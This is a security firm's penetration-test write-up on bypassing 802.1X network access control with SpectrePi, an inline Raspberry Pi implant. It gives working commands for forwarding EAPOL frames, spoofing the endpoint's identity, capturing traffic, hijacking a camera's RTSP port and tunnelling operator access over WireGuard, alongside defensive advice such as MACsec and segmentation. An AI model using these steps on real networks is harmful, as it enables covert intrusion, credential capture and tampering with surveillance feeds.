Bypass

The Blind Spot Of 802.1X Network Access Control (NAC)

Thanks to SpectrePi, a physical device on the network, an attacker can bypass the 802.1X NAC. This attack vector is of particular interest to organisations that operate devices outside their secure premises, such as CCTV cameras.


A network device in the reception area, a camera outdoors, a docking station at a shared workplace: for many network and system engineers, 802.1X settles this attack surface. Anyone without an authorized device does not get into the network.

In a recent physical penetration test, we put exactly this assumption to the test and inserted a device of our own between a switch and an endpoint without being noticed. The endpoint stayed online, the 802.1X authentication continued unchanged, and our implant SpectrePi communicated in parallel in the corporate network under the same identity.

We did not fundamentally break 802.1X in the process, but rather quietly piggybacked on the already authenticated connection of a trusted endpoint. 802.1X protects the connection setup but does not protect every single network packet that is sent on the established connection afterwards. Anyone with physical access to a cable can share the path that has been opened up, without presenting an identity (IP and MAC address) of their own.


spectrepi-banner

The Initial Assignment

As part of an authorized test, SpectrePi was placed at two locations:

  1. Between a switch and an IP camera – powered via Power over Ethernet (PoE) and protected by MAC-based NAC.
  2. At a shared workplace – without PoE and protected by certificate-based NAC.

The goal was the same in both cases: first stay inconspicuous as a completely transparent piece of cable, then communicate actively under the endpoint's identity, and finally take over individual services from the endpoint. The legitimate device had to keep running as usual throughout. Even a brief outage on the network would have been quickly detected.

The Post-Authentication Gap

Three roles are involved in 802.1X authentication: the supplicant (camera, laptop), the authenticator (switch port) and the authentication server (RADIUS). Supplicant and switch exchange EAPOL frames as part of the authentication process. Only after successful authentication from the supplicant does the switch open up a communication port.

SpectrePi sits between the two as a layer 2 bridge and forwards these EAPOL frames transparently, thereby effectively presenting itself as a cable to both switch and endpoint. From the switch's point of view, the real endpoint is still the one authenticating, and, for the time being, no additional participant is noticed.

Once the port is open, however, the traffic is not cryptographically bound to the authenticated device. This gap is exactly where the inline implant operates. It needs no authentication because it shares the supplicant's existing identity.

Take Aways For Organizations

802.1X remains an important access control mechanism. It prevents an arbitrary device from connecting to an unused network socket. However, our test also shows the limits of this mechanism. After successful authentication, the released Ethernet link is not automatically protected against a device spliced into it unless additional cryptographic protection is in place. That is why several coordinated layers of protection are needed:

  • Address physical access: Freely accessible cables, cameras, printers, phones and docking stations are part of the attack surface. Network ports and cable runs should therefore be protected, checked regularly and, for particularly exposed devices, fitted with tamper protection.
  • Use MACsec on the access link: If both switch and endpoint support MACsec, it protects Ethernet frames against undetected modification and against the creation of additional valid frames. An inline device can still pass the encrypted traffic through, but without the session key it cannot inject valid frames of its own. What matters is a configuration that rejects unsecured traffic instead of continuing unencrypted when problems occur.
  • Segment and minimize permissions: A camera, for example, usually only needs access to a few defined systems such as NVR, DNS and NTP. Device groups should therefore be placed in their own segments and their connections restricted with a default-deny policy to the destinations and services actually required. An IP or MAC address alone must not justify far-reaching access.
  • Harden services: Applications should strongly authenticate their peer and use integrity protection and encryption. This includes HTTPS instead of HTTP with consistent certificate validation, mandatory SMB signing and SMB encryption. For LDAP, LDAP signing should be enforced and unencrypted communication prevented. For TLS-protected LDAP connections, channel binding is important as well.
  • Add end-to-end protection: IPsec, SSL VPN or application-level encryption protect selected connections between endpoint and server across several network segments as well. Unlike MACsec, however, they do not secure the entire local Ethernet link and do not automatically prevent the implant from establishing other connections.
  • Monitor behavior: A limit of one MAC address per port and periodic reauthentication are not enough in this scenario, because the implant uses the same identity and forwards EAPOL. A more reliable approach is the monitoring of switch and NAC events, network flows, IDS/NDR, as well as establishing baseline profiles for each device. Unexpected destinations, new protocols, port scans, unusual DNS queries or changes in typical communication behavior should trigger an alert.

SpectrePi As Open Source

We have published the SpectrePi installation on GitHub at https://github.com/avantguard-cyber-security-ag/SpectrePi. The system was developed for a Raspberry Pi 4 or 5 with two Ethernet interfaces as well as independent LTE internet / WireGuard access for use in red teaming.

In standard operation, SpectrePi behaves as a transparent layer 2 bridge between a network switch and an endpoint, e.g. a network camera, a docking station or a workstation. From there, SpectrePi enables observation and analysis of network traffic, replication of an endpoint's identity, selective forwarding of chosen data streams as well as the takeover of individual services of an endpoint.

The basis for this work was the open source project PhantomPi with its accompanying technical article on bridge mode. However, it did not offer a lot of the desired functionality for our particular engagement. It also contained many features that were unnencessary for our purposes.

As red teamers we want to know exactly which packets our implant generates – we prefer a manual guide over a configuration script that makes decisions in the background. We therefore decided not to use the following PhantomPi features:

  • Automatic network analysis.
  • Discord and AI integration.
  • Additional C2 features.
  • Spoofing does not work reliably – TCP/IP collisions from RSTs and ICMP errors with TCP and UDP should be solved through source port separation.
  • In edge cases such as multicast, packets without the spoofed identity reached the corporate network. Additional MAC filters were needed to fix this issue.
  • The takeover of individual ports and direct routing over WireGuard were not implemented.
  • PoE-powered endpoints were not supported – a new hardware setup with splitter, converter and injector was added.
  • PoE splitter – provides Ethernet and supply voltage separately.
  • DC/DC converter – reduces the voltage to 5 V for the Raspberry Pi.
  • Bridge – the data path runs across the Pi's two interfaces.
  • PoE injector – merges data and power back together for the camera.

Additionally, we also discovered that the PhantomPi project did not offer several important features for an engagement in which the goal is inconspicuous communication alongside the endpoint:

The current project reflects this lean approach with three deliberately small scripts: initial_setup.sh configures the system and installs the bridge service, setup_bridge.sh creates the transparent bridge including MAC filters after every reboot, and setup_virtual_interfaces.sh manually activates the spoofed identity including source port separation. The reproducible base installation is described in INSTALL.md. Traffic capture, routing and port takeover are brought together in the operations guide. We also recommend using the encrypted LUKS vault to store sensitive data such as captured network traffic in encrypted form on the SpectrePi.

The following sections show which technical problems arise in this attack and how we solve them.

Separating Power And Data For Inline PoE Use

For the docking station, an additional USB Ethernet adapter is enough to insert a Raspberry Pi in between. A camera, by contrast, hangs on a single cable that carries both data and power.

An ordinary PoE HAT is not sufficient for this. It only powers the implant, not the downstream endpoint. The setup therefore splits off the power ahead of SpectrePi and merges it back together at the end:

  • PoE splitter – provides Ethernet and supply voltage separately.
  • DC/DC converter – reduces the voltage to 5 V for the Raspberry Pi.
  • Bridge – the data path runs across the Pi's two interfaces.
  • PoE injector – merges data and power back together for the camera.

SpectrePI-PoE-Bypass

The camera therefore still receives network and power. At the same time, every Ethernet frame passes through the Raspberry Pi.

Interfaces And Transparent Bridge

Kali Linux was used as the operating system of choice for the Raspberry Pi. The following three network interfaces were used:

eth0 -> Switch / Corporate Network

eth1 -> Inline-Endgerät (Kamera, Dockingstation)

wan1 -> LTE-Modul für den Zugang vom Operator

logical_overview

In order for the kernel to name the USB adapters the same way after every reboot, the physical ports were assigned permanently via   udev.They were enumerated with udevadm info -a /sys/class/net/ethX  and entered into /etc/udev/rules.d/10-persistent-net.rules:

            
                   SUBSYSTEM=="net", ACTION=="add", SUBSYSTEMS=="usb", DRIVERS=="?*", KERNELS=="1-1.3", NAME="wan1"
            
      

In addition,   net.ifnames=0 biosdevname=0 is set in /boot/firmware/cmdline.txt, so that systemd's predictable names do not overwrite the mapping. Both bridge interfaces are marked as unmanaged so that no DHCP request or automatic reconnect generates packets with an undesired identity.

The bridge itself is unremarkable, apart from two details:

            
                   

ip addr flush dev eth0

ip addr flush dev eth1

ip link add br0 type bridge

ip link set br0 type bridge stp_state 0

ip link set eth0 master br0

ip link set eth1 master br0

ip link set br0 up

 

echo 8 > /sys/class/net/br0/bridge/group_fwd_mask # EAPOL durchlassen

brctl setageing br0 0 # FDB-Einträge altern nicht

group_fwd_mask 8 is the key value for 802.1X. By default, Linux bridges do not forward destination addresses in the range 01:80:C2:00:00:xx, which is used by EAPOL, because they are reserved for local control protocols. Without this mask, EAPOL start, request/identity and keying messages do not reach their destination, and the NAC authentication fails as a result. 

setageing 0 does not disable learning, but the ageing of learned FDB entries, so that entries no longer expire. For a passive two-port bridge this is inconsequential. However, as soon as SpectrePi and the real endpoint use the same MAC address, that address should not remain assigned to a single port. Learning is therefore switched off explicitly when the virtual identity is activated.

 Persistence is handled by a systemd service that runs the bridge script after every reboot. This passive bridge state is the pre-defined starting point for every operation with SpectrePi. Identity spoofing, additional routes, port takeovers and NAT over WireGuard, by contrast, are only set manually by the operator at runtime.

The Operational Workflow

Phase 1: Passive Capture

In pure bridge mode, SpectrePi cannot communicate in the corporate network itself. Traffic is captured nonetheless. Since such recordings can contain credentials and personal data, we store the traffic in a LUKS container.

            
                   

vault-open

 

sudo tcpdump -i eth0 -nn -s 0 -U -w /home/kali/secure/capture-manual.pcap

-nn disables the resolution of host and port names, which avoids additional network traffic. -s 0 captures packets in full, without truncating them. -U writes the packets to the output file immediately, so the capture is updated continuously. With -w, the traffic is written to the specified file in PCAP format. The capture file can then be collected and analyzed by the operator over the separate WireGuard management channel.

The endpoint's parameters such as IP, subnet mask, MAC and gateway are derived from the captured traffic. At this point, insecure protocols already in use can be identified, and potentially insecure authentications recognized.


Phase 2: Taking Over A Foreign Identity

With the parameters obtained from the traffic, the script setup_virtual_interfaces.sh  can be run manually. This creates a veth pair. veth0  is attached to the bridge, veth1 carries the endpoint's identity and is the layer 3 endpoint for the traffic to be injected:

            
                   

ip link add veth0 type veth peer name veth1

ip link set veth0 up

brctl addif br0 veth0

 

ip link set dev veth1 address $SPOOFED_MAC

ip addr add $SPOOFED_IP/24 dev veth1

ip link set veth1 up

 

bridge link set dev eth0 learning off

bridge link set dev eth1 learning off

bridge link set dev veth0 learning off

bridge fdb flush br br0 dynamic

Here, we see that ageing and learning are two different bridge mechanisms. Explicitly disabling learning ensures that unknown unicast frames are flooded, and only the subsequent protocol and source port filters decide who receives them. Several manual rules and an overridden source port mapping prevent the SpectrePi from disturbing the real endpoint.

A Core Problem: Both Systems See The Connection Setup

With identical IP and MAC and flooded traffic, every packet reaches both systems. Specifically:

  1. SpectrePi opens a TCP connection on port 53456.
  2. The server replies to the shared IP/MAC, destination port 53456.
  3. The reply reaches SpectrePi and the endpoint.
  4. On the endpoint there is no matching connection.
  5. The endpoint sends a TCP RST and thereby terminates our connection to the server.

With UDP, the same effect occurs in the form of the ICMP message "Port Unreachable". This is the point at which a simple bridge setup is not enough for a red team engagement. Blocking all RSTs and ICMP errors across the board is not a viable solution. The separation therefore has to be done cleanly by source port.

Solution Through Reserved Source Port Ranges

First, the local kernel is restricted to its own dynamic port range:

            
                   sysctl -w net.ipv4.ip_local_port_range="20000 30000"
            
      

Bridge filters then separate the two traffic flows in the correct direction:

            
                   

# Antworten auf unseren Bereich erreichen das Endgerät nicht

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 20000:30000 -j DROP

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto udp --ip-dport 20000:30000 -j DROP

 

# Pakete des Endgeräts aus unserem Bereich gelangen nicht ins Corporate Network

ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto tcp --ip-sport 20000:30000 -j DROP

ebtables -A FORWARD -i eth1 -o eth0 -p IPv4 --ip-proto udp --ip-sport 20000:30000 -j DROP

 

# Antworten für das Endgerät erreichen unser virtuelles Interface nicht

ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto tcp --ip-dport 30001:65535 -j DROP

ebtables -A FORWARD -i eth0 -o veth0 -p IPv4 --ip-proto udp --ip-dport 30001:65535 -j DROP

20000–30000  is not a universal value. If the range overlaps with the ports the endpoint actually uses, its connections are blocked. This should therefore also be checked during the PCAP analysis from phase 1. 

No Real MAC To The Outside

Despite the spoofed identity, drivers, multicast, IPv6 or automatically started discovery services can generate frames with the real addresses of the Pi or the USB adapter. A single packet like this is enough to stand out in a NAC or monitoring system.

The device's own hardware addresses are therefore dropped on both physical interfaces, for locally generated as well as for forwarded frames:

            
                   

BLOCK_MAC_1="$(cat /sys/class/net/eth0/address)"

BLOCK_MAC_2="$(cat /sys/class/net/eth1/address)"

BLOCK_MAC_3="$(cat /sys/class/net/br0/address)"

 

for MAC in "$BLOCK_MAC_1" "$BLOCK_MAC_2" "$BLOCK_MAC_3"; do

ebtables -A OUTPUT -o "$IFACE_COMPANY" -s "$MAC" -j DROP

ebtables -A FORWARD -o "$IFACE_COMPANY" -s "$MAC" -j DROP

ebtables -A OUTPUT -o "$IFACE_TARGET" -s "$MAC" -j DROP

ebtables -A FORWARD -o "$IFACE_TARGET" -s "$MAC" -j DROP

done

In addition, IPv6 is disabled completely (/etc/sysctl.d/70-disable-ipv6.conf), since router solicitations and neighbor discovery could expose a second identity. The same applies to services that are not needed. The rule behind this is simple: no frame may appear on the corporate port that does not carry the endpoint's identity.

Phase 3: Taking Over Individual Ports Selectively

As a general rule, care must be taken that a port is not reachable on both systems at the same time. It is therefore advisable to first prepare the service behind the target port on a different port. This can be, for example, the takeover of a camera's image. If the camera's RTSP stream is to be taken over, the port is temporarily shielded from the endpoint and served locally:

            
                   

ebtables -A FORWARD -i eth0 -o eth1 -p IPv4 --ip-proto tcp --ip-dport 554 -j DROP

socat TCP4-LISTEN:554,bind=$SPOOFED_IP,reuseaddr,fork TCP4:127.0.0.1:8554

On 8554, a local RTSP server runs that delivers a replacement stream generated with ffmpeg. The same pattern also works for HTTP/HTTPS/SMB, e.g. in order to collect authentication attempts.

Routing Over LTE And WireGuard

SpectrePi uses LTE with a WireGuard tunnel for operator access over SSH. If the operator is to access the corporate network directly through the tunnel, IPv4 forwarding and NAT over the spoofed interface are added. TCP and UDP are translated into the same reserved source port range so as not to disturb the endpoint's communication: 
            
                   

sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p tcp -j MASQUERADE --to-ports 20000-30000 --random-fully

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -p udp -j MASQUERADE --to-ports 20000-30000 --random-fully

sudo iptables -t nat -A POSTROUTING -s 10.254.252.2/32 -d 0.0.0.0/0 -o veth1 -j MASQUERADE

Internally, the operator's traffic therefore appears under the endpoint's adopted IP and MAC addresses. On the operator side, only the desired target networks should appear in the WireGuard setting `AllowedIPs` and in a manually set route:

            
                   

sudo wg set wg_spectrepi peer $SPECTREPI_PUBLIC_KEY allowed-ips "10.254.252.1/32,$ZIELNETZWERK"

sudo ip route replace $ZIELNETZWERK dev wg_spectrepi

 

Conclusion

The bridge setup itself is done in a few lines. The actual challenge lies in the stable, inconspicuous parallel operation of two devices with one identity. EAPOL forwarding, MAC learning, TCP RSTs, ICMP errors, overlapping source ports, multicast and hardware addresses are all sources of error through which the endpoint can be disturbed or the implant given away on the network.

For organizations, the consequences remain simple. NAC only decides which devices are allowed to open a port. Whether only the authenticated device really communicates afterwards is another question, which is answered by network segmentation, monitoring, physical security and encryption.

Anyone wishing to assess for their organisation what an attacker might be capable of in the event of a NAC bypass is welcome to get in touch with us.

Similar posts